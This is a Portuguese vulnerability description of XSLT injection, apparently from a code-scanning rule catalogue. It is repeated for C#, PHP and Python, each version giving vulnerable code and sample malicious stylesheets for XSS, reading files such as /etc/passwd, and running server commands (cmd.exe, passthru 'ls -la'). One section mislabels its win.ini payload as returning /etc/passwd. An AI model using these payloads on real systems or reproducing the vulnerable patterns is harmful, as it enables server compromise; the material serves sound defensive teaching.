XSLT Injection

O processamento de uma folha de estilos XSL inválida pode permitir que um invasor altere a estrutura e o conteúdo do XML resultante, inclua arquivos arbitrários do sistema de arquivos ou execute código arbitrário.

Uma injeção de XSLT ocorre quando:

1. Os dados entram em um programa por uma fonte não confiável.

2. Os dados são gravados em um folha de estilos XLS.


Em geral, os aplicativos usam folhas de estilos XSL para transformar documentos XML de um formato em outro. Folhas de estilos XSL incluem funções especiais que aprimoram o processo de transformação, mas introduzem vulnerabilidades adicionais quando usadas incorretamente.

A semântica de folhas de estilos XSL e processamento poderá ser alterada se um invasor tiver a capacidade de escrever elementos XSL em uma folha de estilos. Um invasor pode alterar a saída de uma folha de estilos de forma a habilitar um ataque de XSS (criação de scripts entre sites), expor o conteúdo de recursos do sistema de arquivos local ou executar código arbitrário.

Exemplo 1: Veja a seguir um código que é vulnerável a Injeção de XSLT:

  ...
  String xmlUrl = Request["xmlurl"];
  String xslUrl = Request["xslurl"];

  XslCompiledTransform xslt = new XslCompiledTransform();
  xslt.Load(xslUrl);

  xslt.Transform(xmlUrl, "books.html");
  ...
  

O Example 1 resulta em três explorações diferentes quando o invasor pode transmitir o XSL identificado ao processador XSTL:

1. XSS:

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
      <script>alert(123)</script>
    </xsl:template>
  </xsl:stylesheet>

  

Quando a folha de estilo XSL é processada, a tag <script> é renderizada no navegador da vítima, permitindo a realização de um ataque de criação de scripts entre sites.

2. Leitura de arquivos arbitrários no sistema de arquivos do servidor:

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
      <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
    </xsl:template>
  </xsl:stylesheet>

  

A folha de estilo XSL precedente retornará o conteúdo do arquivo /etc/passwd.

3. Execução de código arbitrário:

O processador XSLT tem a capacidade de expor métodos de linguagem nativa como funções XSLT se eles não estiverem desabilitados.

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
        public string ToShortDateString(string date)
          {
              System.Diagnostics.Process.Start("cmd.exe");
              return "01/01/2001";
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
      <TABLE>
        <xsl:for-each select="Test">
          <TR>
          <TD>
            <xsl:value-of select="App:ToShortDateString(TestDate)" />
          </TD>
          </TR>
        </xsl:for-each>
      </TABLE>
    </xsl:template>
  </xsl:stylesheet>

  

A folha de estilos precedente executará o comando "cmd.exe" no servidor.

O processamento de uma folha de estilos XSL inválida pode permitir que um invasor altere a estrutura e o conteúdo do XML resultante, inclua arquivos arbitrários do sistema de arquivos ou execute código arbitrário.

Uma injeção de XSLT ocorre quando:

1. Os dados entram em um programa por uma fonte não confiável.

2. Os dados são gravados em um folha de estilos XLS.


Em geral, os aplicativos usam folhas de estilos XSL para transformar documentos XML de um formato em outro. Folhas de estilos XSL incluem funções especiais que aprimoram o processo de transformação, mas introduzem vulnerabilidades adicionais quando usadas incorretamente.

A semântica de folhas de estilos XSL e processamento poderá ser alterada se um invasor tiver a capacidade de escrever elementos XSL em uma folha de estilos. Um invasor pode alterar a saída de uma folha de estilos de forma a habilitar um ataque de XSS (criação de scripts entre sites), expor o conteúdo de recursos do sistema de arquivos local ou executar código arbitrário. Se o invasor tivesse controle total sobre a folha de estilos enviada ao aplicativo, ele também poderia executar um ataque de injeção de XXE (entidade externa XML).

Exemplo 1: Veja a seguir um código que é vulnerável a Injeção de XSLT:

...
<?php

$xml = new DOMDocument;
$xml->load('local.xml');

$xsl = new DOMDocument;
$xsl->load($_GET['key']);

$processor = new XSLTProcessor;
$processor->registerPHPFunctions();
$processor->importStyleSheet($xsl);

echo $processor->transformToXML($xml);

?>
...

O código no Example 1 resulta em três explorações diferentes quando o invasor pode transmitir o XSL identificado ao processador XSTL:

1. XSS:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>

Quando a folha de estilo XSL é processada, a tag <script> é renderizada no navegador da vítima, permitindo a realização de um ataque de criação de scripts entre sites.

2. Leitura de arquivos arbitrários no sistema de arquivos do servidor:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

A folha de estilo XSL precedente retornará o conteúdo do arquivo /etc/passwd.

3. Execução de código PHP arbitrário:

O processador XSLT tem a capacidade de expor métodos de linguagem PHP nativos como funções XSLT habilitando "registerPHPFunctions".

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','ls -la')"/>
</xsl:template>
</xsl:stylesheet>

A folha de estilo precedente mostrará os resultados do comando "ls" executado no servidor.

O processamento de uma folha de estilos XSL inválida pode permitir que um invasor altere a estrutura e o conteúdo do XML resultante, inclua arquivos arbitrários do sistema de arquivos ou execute código arbitrário.

Uma injeção de XSLT ocorre quando:

1. Os dados entram em um programa por uma fonte não confiável.

2. Os dados são gravados em um folha de estilos XLS.


Em geral, os aplicativos usam folhas de estilos XSL para transformar documentos XML de um formato em outro. Folhas de estilos XSL incluem funções especiais que aprimoram o processo de transformação, mas introduzem vulnerabilidades adicionais quando usadas incorretamente.

A semântica de folhas de estilos XSL e processamento poderá ser alterada se um invasor tiver a capacidade de escrever elementos XSL em uma folha de estilos. Um invasor pode alterar a saída de uma folha de estilos de forma a habilitar um ataque de XSS (criação de scripts entre sites), expor o conteúdo de recursos do sistema de arquivos local ou executar código arbitrário.

Exemplo 1: Veja a seguir um código que é vulnerável a Injeção de XSLT:

...
xml = StringIO.StringIO(request.POST['xml'])
xslt = StringIO.StringIO(request.POST['xslt'])

xslt_root = etree.XML(xslt)
transform = etree.XSLT(xslt_root)
result_tree = transform(xml)
return render_to_response(template_name, {'result': etree.tostring(result_tree)})
...

O código no Example 1 resulta em três explorações diferentes quando o invasor pode transmitir o XSL identificado ao processador XSTL:

1. XSS:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <script>alert(123)</script>
  </xsl:template>
</xsl:stylesheet>

Quando a folha de estilo XSL é processada, a tag <script> é renderizada no navegador da vítima, permitindo a realização de um ataque de criação de scripts entre sites.

2. Leitura de arquivos arbitrários no sistema de arquivos do servidor:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

A folha de estilo XSL precedente retornará o conteúdo do arquivo /etc/passwd.